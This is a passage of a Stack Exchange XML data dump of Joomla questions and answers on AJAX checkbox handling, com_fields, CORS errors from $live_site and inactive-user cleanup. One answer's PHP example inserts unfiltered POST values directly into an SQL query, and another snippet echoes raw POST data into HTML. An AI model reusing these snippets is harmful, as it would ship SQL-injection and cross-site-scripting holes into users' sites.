  <row Id="20580" PostTypeId="2" ParentId="20579" CreationDate="2017-04-16T09:40:33.907" Score="8" Body="&lt;p&gt;It expects the messages to be passed in an array, even if there is only a single message, ie&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.renderMessages({&quot;success&quot;:[&quot;this is test message&quot;]});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The formatting example given in the source code for the renderMessages function (\media\system\js\core-uncompressed.js) is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var messages = {&#xA;     &quot;message&quot;: [&quot;Message one&quot;, &quot;Message two&quot;],&#xA;     &quot;error&quot;: [&quot;Error one&quot;, &quot;Error two&quot;]&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-04-16T09:40:33.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20581" PostTypeId="1" CreationDate="2017-04-16T10:06:26.983" Score="1" ViewCount="2794" Body="&lt;p&gt;My website do not open administrator login instead it redirect me to the home page I have to repair error by using cpanel any body have suggestions&lt;/p&gt;&#xA;" OwnerUserId="10960" LastActivityDate="2018-06-16T20:19:18.053" Title="Administrator login page redirect to home page" Tags="|administrator|cpanel|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20582" PostTypeId="2" ParentId="20578" CreationDate="2017-04-16T10:27:38.153" Score="1" Body="&lt;p&gt;Tested your code and it works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The things I changed were as follows, in case these are the issue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Changed all references from &lt;code&gt;$&lt;/code&gt; to &lt;code&gt;jQuery&lt;/code&gt; so that I don't have to worry about defining the jQuery object or any conflicts.&lt;/li&gt;&#xA;&lt;li&gt;Added &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags around your javascript (though I assume you have just removed these for the sake of simplifying your question's code)&lt;/li&gt;&#xA;&lt;li&gt;My test site was in a subfolder, so I had to update the AJAX call appropriately, so that it would load from the root.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you go directly to the response.php URL in a browser, it should display &quot;Array()&quot;. Is this the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as not suggesting com_ajax - that is going to be the right place to at least study to see how Joomla have built an ajax component.  Once you break out of the framework, you aren't really building a Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array(&#xA;   [3] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Means that you have run print_r() on a string and not an array, and so that alert is exactly how it should be.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var data = jQuery(this).val();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is only sending the value of the box you have just checked - not the form data, not the name/value pair of the checkbox, just the value - the &lt;code&gt;this&lt;/code&gt; at this point refers to the element you have just clicked on (ie the specific checkbox) and not the data of the whole form.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of a quick, hacky example (this is not a gread approach), replace &lt;code&gt;var data = jQuery(this).val()&lt;/code&gt;; with the following, which will send an array of checkbox data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  var checkboxdata=[];&#xA;&#xA;&#xA;  jQuery(&quot;input[type='checkbox']&quot;).each(function(){&#xA;&#xA;          if(jQuery(this).is(&quot;:checked&quot;))&#xA;                    {&#xA;                    checkboxdata.push(jQuery(this).val());&#xA;                    }&#xA;&#xA;          })&#xA;&#xA;   var data=  checkboxdata; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to read up on how AJAX works.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time you call a page via AJAX, it basically acts the same as if you submitted a form whose &lt;code&gt;action&lt;/code&gt; points to that page (or loaded a page passing parameters in the URL).  The only real difference is that the output is sent to your javascript function rather than printed on screen to the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time you call a page via AJAX, it is like re-submitting a form, or re-loading a page.  As with re-submitting a form, it is not going to remember what has happened to it before unless you specifically code it to do so.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-04-16T13:20:01.797" LastActivityDate="2017-04-16T13:20:01.797" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="20583" PostTypeId="2" ParentId="20581" CreationDate="2017-04-17T00:00:24.790" Score="0" Body="&lt;p&gt;Check if you had JSecure plugin, or if you have correct permissions for folder and index.php in admin folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;644 are the correct one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some servers are not allowing to use and hide files and folders with incorrect permissions from the web&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2017-04-17T00:00:24.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20584" PostTypeId="2" ParentId="20578" CreationDate="2017-04-17T00:11:47.613" Score="2" Body="&lt;p&gt;Here's a complete example for a module in 1 file, not bypassing Joomla, not using a component, running php function on async posted data, &amp;amp; running some js on the returned data (why not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the testing only section to get your query working before dealing with your ajax request.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;defined('_JEXEC') or die;&#xA;&#xA;// toggle this variable in order to show the results of the db query for testing purposes&#xA;$production = 0;&#xA;&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$data = $jinput-&amp;gt;post-&amp;gt;get('checkboxList', [], 'array');&#xA;$ajax_test = $jinput-&amp;gt;post-&amp;gt;get('thisisajax', 0, 'int');&#xA;&#xA;// = TESING ONLY ===================================================&#xA;&#xA;if(!production){&#xA;    $data = [1,2,3];&#xA;    $ajax_test = 1;&#xA;}&#xA;&#xA;// = END TESTING ONLY ===============================================&#xA;&#xA;if($ajax_test){&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName('*'));&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__custom_table'));&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('custom_id') . ' IN (' . implode(&quot;,&quot;,$data) .')');&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;&#xA;    if(!production){&#xA;        echo &quot;&amp;lt;pre&amp;gt;&quot; . print_r($results,1) . &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;        die();&#xA;    }&#xA;&#xA;    // PROCESS RESULTS HERE&#xA;&#xA;    $response = 'xxx?';&#xA;&#xA;    echo new JResponseJson($response);&#xA;    jexit();&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;form method=&quot;post&quot; action=&quot;&quot; name=&quot;form1&quot; id=&quot;mycustomform&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;1&quot;&amp;gt; Apple&amp;lt;/input&amp;gt;&amp;lt;br&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;2&quot;&amp;gt; Pineapple&amp;lt;/input&amp;gt;&amp;lt;br&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;checkboxList[]&quot; onclick=&quot;function1();&quot; value=&quot;3&quot;&amp;gt; Pen&amp;lt;/input&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;div id=&quot;response&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;function function1() {&#xA;    var data = jQuery(&quot;#mycustomform&quot;).serialize() + '&amp;amp;thisisajax=1';&#xA;    jQuery.ajax({&#xA;        url: &quot;&amp;lt;?php echo JUri::current(); ?&amp;gt;&quot;, &#xA;        type: &quot;POST&quot;,&#xA;        data: data, &#xA;        success: function(response){ &#xA;            response = jQuery.parseJSON(response);&#xA;            if(response.success === true){&#xA;               jQuery('#response').html(response.data);&#xA;            } else {&#xA;                alert('error');&#xA;            }&#xA;        }&#xA;    });&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-04-18T08:05:13.027" LastActivityDate="2017-04-18T08:05:13.027" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20585" PostTypeId="1" AcceptedAnswerId="20604" CreationDate="2017-04-17T08:33:02.743" Score="5" ViewCount="11700" Body="&lt;p&gt;I started working a project on the upcoming 3.7 version, using the &lt;code&gt;com_fields&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an article and a category level group of fields. The idea is that I want to use the category level fields to 'globalize' per category those extra values which should be used/displayed as default on each of that category's articles, unless they are overwritten on the article level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on the article view - I have access to the custom fields of the article and I am trying to access also the article's category custom fields, which I did it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$catFields = FieldsHelper::getFields('com_content.categories', $currentCat, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The short documentation for the &lt;code&gt;FieldsHelper::getFields&lt;/code&gt; mentions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Returns the fields for the given context.  &lt;/li&gt;&#xA;  &lt;li&gt;If the item is an object the returned fields do have an additional field &quot;value&quot; which represents the value for the given item.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But the problem is that I am getting the category's custom fields array containing the fields objects and their properties but without their actual values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I could go about this?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-04-20T17:43:43.473" LastActivityDate="2019-05-20T02:55:43.987" Title="Getting custom fields and their values (com_fields)" Tags="|custom-field|com-fields|joomla-3.7|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20587" PostTypeId="2" ParentId="17829" CreationDate="2017-04-17T13:05:57.257" Score="4" Body="&lt;p&gt;I recently encountered this XMLHttpRequest error myself. The root of the problem caused 3 different issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLUTION:&lt;/strong&gt; In my case, the problem was caused by an incorrect setting for the public $live_site variable in the configuration.php file (which is located in the Joomla root folder). The website was &lt;a href=&quot;https://website.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://website.com&lt;/a&gt; but I had set the &#xA;public $live_site = '&lt;a href=&quot;https://www.website.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.website.com&lt;/a&gt;'; &lt;code&gt;&amp;lt;-&lt;/code&gt; The &lt;code&gt;www&lt;/code&gt; should not have been there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end I set &lt;code&gt;public $live_site = '';&lt;/code&gt; but &lt;code&gt;public $live_site = 'https://website.com';&lt;/code&gt; would have worked as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could probably set cors to enable cross-origin resource sharing, but this is a server side solution which in my case was unnecessary. Also if you set it incorrectly it can be a security risk.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Incorrectly setting $live_site in configuration.php caused 3 problems.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When logging into &lt;a href=&quot;https://website/administrator&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://website/administrator&lt;/a&gt; I was not notified of&#xA;new extension updates. When I logged into website.com/administrator&#xA;with the console open (Ctrl + Shift + i) I could see the error&#xA;-&lt;code&gt;Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at&#xA;https://www.website.com/administrator/index.php?option=com_installer&amp;amp;view=update&amp;amp;task=update.ajax&amp;amp;cbe7c724489164bc62ef5fd63d87884b=1&amp;amp;eid=0&amp;amp;skip=700.&#xA;(Reason: CORS header 'Access-Control-Allow-Origin' missing)&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The 2nd problem occured when I tried to reinstall Joomla by going to&#xA;Administrator -&gt; Components -&gt; Joomla!Update -&gt; Live Update. For&#xA;installation method I chose to Overwrite files. I got a message&#xA;saying&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eNrpH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eNrpH.jpg&quot; alt=&quot;Error: AJAX loading Error:error&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Error: AJAX loading Error:error&quot; and then in the console I could see   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n7xFS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n7xFS.jpg&quot; alt=&quot;Joomla Ajax XmlHttpRequest error Update&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with the following message &lt;code&gt;Cross-Origin Request Blocked: The Same&#xA;Origin Policy disallows reading the remote resource at&#xA;https://www.website.com/administrator/components/com_joomlaupdate/restore.php.&#xA;(Reason: CORS header 'Access-Control-Allow-Origin' missing).&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The third problem I wasn't aware of until I this question. When&#xA;uploading images  either in the media manager, in an article or in a&#xA;module, the site acts like it's uploading the image, refreshes, but&#xA;never actually uploads the image.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All these problems were caused by an incorrect value for the $live_site variable in configuration.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I eventually stumbled onto the answer thanks to a reference found in &lt;a href=&quot;https://www.itoctopus.com/ajax-loading-error-error-when-updating-your-joomla-website&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.itoctopus.com/ajax-loading-error-error-when-updating-your-joomla-website&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="7024" LastEditDate="2018-03-01T12:17:48.773" LastActivityDate="2018-03-01T12:17:48.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20588" PostTypeId="1" CreationDate="2017-04-17T16:18:46.680" Score="1" ViewCount="211" Body="&lt;p&gt;I have the following problem. The {loadposition} is specified in the contribution text and appears in the article as it should. Unfortunately, I have now also in the blog view of 6 articles each other also. How can I make the {loadposition} display only once in the blog view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my bad english&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would like to load a Module on a definied position. In Single article thats ok. But in the Blogview the module appears on every blogentry. I would like to show the module only at the first blog entry&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Mitcha&lt;/p&gt;&#xA;" OwnerUserId="10962" LastEditorUserId="10962" LastEditDate="2017-04-17T19:46:01.700" LastActivityDate="2019-06-26T18:22:47.363" Title="{loadposition} Only in the first blog contribution" Tags="|module|category-blog|positions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20590" PostTypeId="2" ParentId="20588" CreationDate="2017-04-17T17:17:32.783" Score="2" Body="&lt;p&gt;You might need to give a more specific example of what the module area is doing for the ideal suggestion.  However, a few ideas that might point you in the right direction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a plugin that runs before the &quot;Content - Load Modules&quot; plugin.  You will need this to detect the page's view and, if it detects the blog category layout, strip any &lt;code&gt;{loadposition}&lt;/code&gt; that you do not want to display so that when &quot;Content - Load Modules&quot; runs, the unwanted modules no longer exist in the code it is parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use Read More&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the category view to only show the content before the Read More break, and the article view to only show the content after the Read More break.  Manually place the modules where they should appear on the category view, ie on one page it will appear both above and below the Read More. This could end up being quite fiddly for the admin who may have to duplicate a lot of content, depending on how your site works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hide the unwanted modules using CSS in the template.  Not best practise, but should be a quick-and-easy approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Module&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update (if your own), or override (if core or third party) the template of the module so that it counts how many times it has been loaded on a page, and output content or output nothing accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Design&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it need to appear in the article, or could you place the module elsewhere on the page without harming usability? If the admin is having to place the same module every time an article is created, it sounds like it may be a design problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason why you can't create a module area in your template - above or below the component area - and assign the module via the module manager?  From the information you have given - this sounds like the best approach.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-04-17T19:51:34.140" LastActivityDate="2017-04-17T19:51:34.140" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20591" PostTypeId="1" CreationDate="2017-04-17T20:44:02.330" Score="2" ViewCount="763" Body="&lt;p&gt;Is there a way, or a component/plugin to automate the process of deleting users who register on my site, but never activate their email?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after 30 days, their account automatically is deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been searching for this for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Melvins138&lt;/p&gt;&#xA;" OwnerUserId="1804" LastActivityDate="2017-04-19T02:45:19.560" Title="Delete User If Email Never Activated" Tags="|joomla-3.x|joomla-3.6|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20592" PostTypeId="2" ParentId="20591" CreationDate="2017-04-17T21:33:34.840" Score="2" Body="&lt;p&gt;Can't guarantee the quality of any third party extensions, but there seems to be one here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/juserprune/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/clients-a-communities/user-management/juserprune/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the coding knowledge to write your own plugin, then the information you need is in the &lt;code&gt;__users&lt;/code&gt; table of your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The date a user registered will be in &lt;code&gt;registerDate&lt;/code&gt; field and if they have never activated their account, the &lt;code&gt;activation&lt;/code&gt; field will be populated and the &lt;code&gt;lastvisitdate&lt;/code&gt; will be &lt;code&gt;0000-00-00 00:00:00&lt;/code&gt;.  From this you could write a database query to generate a list of users to delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally you should delete them using JUser's delete function, so that it caputures any related data, though viewing that function at libraries\joomla\table\user.php shows you what needs to be done to clean up the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd probably then pop the script in a plugin that is fired &lt;code&gt;onUserBeforeSave&lt;/code&gt;, so that it tidies itself whenever someone creates or updates an account (this event seems the most appropriate), though you could use Cron if it needs to be more regular than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I assume you know, but if you want to do it manually, it is possible to use the filters at the top of the user manager to find these users.)&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-04-17T21:41:06.060" LastActivityDate="2017-04-17T21:41:06.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20593" PostTypeId="2" ParentId="20591" CreationDate="2017-04-18T02:33:27.503" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/access-a-security/site-security/admin-tools-professional&quot; rel=&quot;nofollow noreferrer&quot;&gt;Admin Tools Professional&lt;/a&gt; includes the &quot;System - Admin Tools&quot; plugin which has an option to delete inactive users after a specified number of days. The plugin also includes options for session, cache and temp file cleanup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This extension is not free but includes a wealth of other tools which you can read about in the link. If all you need to do is clean up inactive users, then the free extension suggested by Richard may be the best option.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-04-18T02:33:27.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20595" PostTypeId="1" CreationDate="2017-04-18T09:50:23.007" Score="1" ViewCount="304" Body="&lt;p&gt;I have received a backup of a client's website as a &lt;code&gt;.jpa&lt;/code&gt; file and I'm trying to install it locally into &lt;strong&gt;MAMP&lt;/strong&gt;. The site is using &lt;strong&gt;Joomla! 3.6.5 Stable&lt;/strong&gt; and &lt;strong&gt;Joomla Platform 13.1.0 Stable [ Curiosity ]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All seemed to go pretty smoothly right up until I went to view my website in the browser and I received a 404 error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried deleting &lt;code&gt;.htaccess.bak&lt;/code&gt; and &lt;code&gt;.htaccess.admintools&lt;/code&gt; from my local installation but I am still getting the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone see what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="10966" LastActivityDate="2017-04-18T11:41:29.340" Title="404 after site restoration with Akeeba Kickstart" Tags="|installation|akeebabackup|localhost|backups|troubleshooting|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20597" PostTypeId="2" ParentId="20595" CreationDate="2017-04-18T11:41:29.340" Score="1" Body="&lt;p&gt;The problem was caused by the site URL being set as the live site rather than the local installation in MAMP, I set it to the local URL and now the site works&lt;/p&gt;&#xA;" OwnerUserId="10966" LastActivityDate="2017-04-18T11:41:29.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20598" PostTypeId="1" AcceptedAnswerId="20599" CreationDate="2017-04-18T11:59:39.853" Score="0" ViewCount="223" Body="&lt;p&gt;I am running a Joomla site and managing the dev environment using cPanel. I have set up a subdomain which I will be building the new version of the website in like so — &lt;strong&gt;dev.somewebsite.com&lt;/strong&gt; (with the directory being called &lt;strong&gt;_dev&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been told that the current &lt;strong&gt;.htaccess&lt;/strong&gt; may cause issues with the subdomain and that I would most likely need to edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently am unable to visit &lt;strong&gt;dev.somewebsite.com&lt;/strong&gt; in my browser as Chrome gives the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;server DNS address could not be found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've been into &lt;strong&gt;Admin Tools&lt;/strong&gt; and looked under &lt;strong&gt;Exceptions&lt;/strong&gt;, then &lt;strong&gt;Allow direct access, including .php files, to these directories&lt;/strong&gt; and added &lt;code&gt;_dev&lt;/code&gt; underneath what was there already&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alas, that didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way I can get this working?&lt;/p&gt;&#xA;" OwnerUserId="10966" LastActivityDate="2017-04-18T12:47:38.317" Title="Subdirectories being blocked by .htaccess / Admin Tools" Tags="|administrator|.htaccess-configuration|troubleshooting|cpanel|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20599" PostTypeId="2" ParentId="20598" CreationDate="2017-04-18T12:42:36.457" Score="2" Body="&lt;p&gt;The &quot;server DNS address could not be found&quot; message has nothing to do with the .htaccess. This simply means that the subdomain can not be resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to check your DNS setup - or maybe simply wait for the new DNS to propagate. You could also edit your computer's hosts file to create a local record for this subdomain to point at your server's IP. This is a google search about &lt;a href=&quot;https://www.google.com/search?&amp;amp;rls=en&amp;amp;q=editing%20hosts%20file&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;editing hosts file&lt;/strong&gt;&lt;/a&gt;, which will give you some ground about what it is and how to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a matter of DNS setup, then maybe it's a good idea to ask your hosting provider for help on this, if you can't manage it. Actually, when creating subdomains in cPanel the required DNS records for it, are usually auto-created. So this might be something misconfigured on cPanel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the &lt;code&gt;.htaccess&lt;/code&gt; itself - if it will work or not on a subdomain - it depends on what directives your .htaccess has. However note that if the &lt;code&gt;_dev&lt;/code&gt; directory is not under the same directory as your main website, where you have your main &lt;code&gt;.htaccess&lt;/code&gt; file, then the latter will have no impact on &lt;code&gt;_dev&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, your &lt;code&gt;_dev&lt;/code&gt; site will need its own .htaccess - if you want/need to have one - so do not mix directives on the main (live) &lt;code&gt;.htaccess&lt;/code&gt; for both the 2 sites.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-04-18T12:47:38.317" LastActivityDate="2017-04-18T12:47:38.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20600" PostTypeId="2" ParentId="20591" CreationDate="2017-04-18T17:38:37.427" Score="2" Body="&lt;p&gt;Thanks to both the answers. I looked into both, and found a paid component that will do several features I need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The component is called &lt;a href=&quot;https://extensions.joomla.org/extension/regreminder&quot; rel=&quot;nofollow noreferrer&quot;&gt;RegReminder&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1804" LastEditorUserId="120" LastEditDate="2017-04-19T02:45:19.560" LastActivityDate="2017-04-19T02:45:19.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20601" PostTypeId="1" CreationDate="2017-04-19T05:39:21.877" Score="1" ViewCount="416" Body="&lt;p&gt;So I'm doing this website with Joomla and I don't have much experience with Joomla.&#xA;I just want to get the values of some checkboxes and print them into a text area.&lt;br&gt;&#xA;I have the script already, I just need to implement it.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the raw Html code of the checkboxes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;checkboxShop&quot;&amp;gt;&#xA;    &amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;checkbox&quot; value=&quot;1&quot; id=&quot;checkboxShopInput&quot; name=&quot;shop&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;checkboxShopInput&quot;&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And Here is the raw Html code of the submit button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;/Flex/index.php/shop&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Buy&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All I want is to get all the values of the checkboxes and add them to a textarea in index.php/shop. I wrote this code to get the values but i don't know where to add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if(!empty($_POST['shop'])) {&#xA;    foreach($_POST['shop'] as $check) {&#xA;            echo $check; //echoes the value set in the HTML form for each checked checkbox.&#xA;                         //so, if I were to check 1, 3, and 5 it would echo value 1, value 3, value 5.&#xA;                         //in your case, it would echo whatever $row['Report ID'] is equivalent to.&#xA;&#xA;            echo &quot;&amp;lt;input type='text' name='message' value='&quot; . $check . &quot;'&amp;gt;&quot;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read that i need this but 